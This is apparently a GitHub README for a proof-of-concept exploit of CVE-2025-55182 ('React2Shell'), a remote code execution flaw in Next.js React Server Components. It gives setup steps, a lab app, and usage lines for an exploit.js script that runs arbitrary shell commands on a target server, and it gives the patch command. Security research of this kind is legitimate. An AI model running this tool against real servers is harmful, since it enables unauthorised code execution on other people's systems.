
Working Proof of Concept (PoC) for CVE-2025-55182 (React2Shell) - Unauthenticated Remote Code Execution in Next.js 15.0.0 via React Server Components
⚠️ EDUCATIONAL PURPOSE ONLY
This repository is created strictly for educational and research purposes. It demonstrates a critical vulnerability in React Server Components (Next.js) to help developers understand the risks and importance of updating their dependencies.
DO NOT USE THIS CODE IN PRODUCTION OR AGAINST SYSTEMS YOU DO NOT OWN.
This project reproduces CVE-2025-55182 (also known as "React2Shell"), a Remote Code Execution (RCE) vulnerability affecting React Server Components in Next.js applications.
multipart/form-data request that exploits the deserialization logic of React Server Components to execute arbitrary JavaScript code on the server.
app/page.js: Contains the . This Client Component allows you to run RCE commands directly from the browser.app/actions.js: Contains a standard Server Action. The vulnerability lies in the framework's parsing logic before this action is executed.exploit.js: A standalone Node.js script to demonstrate the exploit programmatically.Clone the repository:
git clone https://github.com/pkrasulia/CVE-2025-55182-NextJS-RCE-PoC.git
cd react-cve-test
(Optional) Use the correct Node.js version:
nvm use
Install dependencies (this will install the vulnerable versions):
npm ci --legacy-peer-deps
# OR
npm install --force
Start the development server:
npm run dev
The server should start on http://localhost:3000.
http://localhost:3000 in your browser.whoami, ls -la, or cat package.json).You can run the exploit script directly from your terminal:
# Basic usage
node exploit.js http://localhost:3000 "whoami"
# Open Calculator (Linux) - use '&' to run in background
node exploit.js http://localhost:3000 "gnome-calculator &"
To fix this vulnerability in your own projects:
npm install next@latest react@latest react-dom@latest
The author is not responsible for any misuse of this information. This project is intended to help security researchers and developers improve the security of their applications.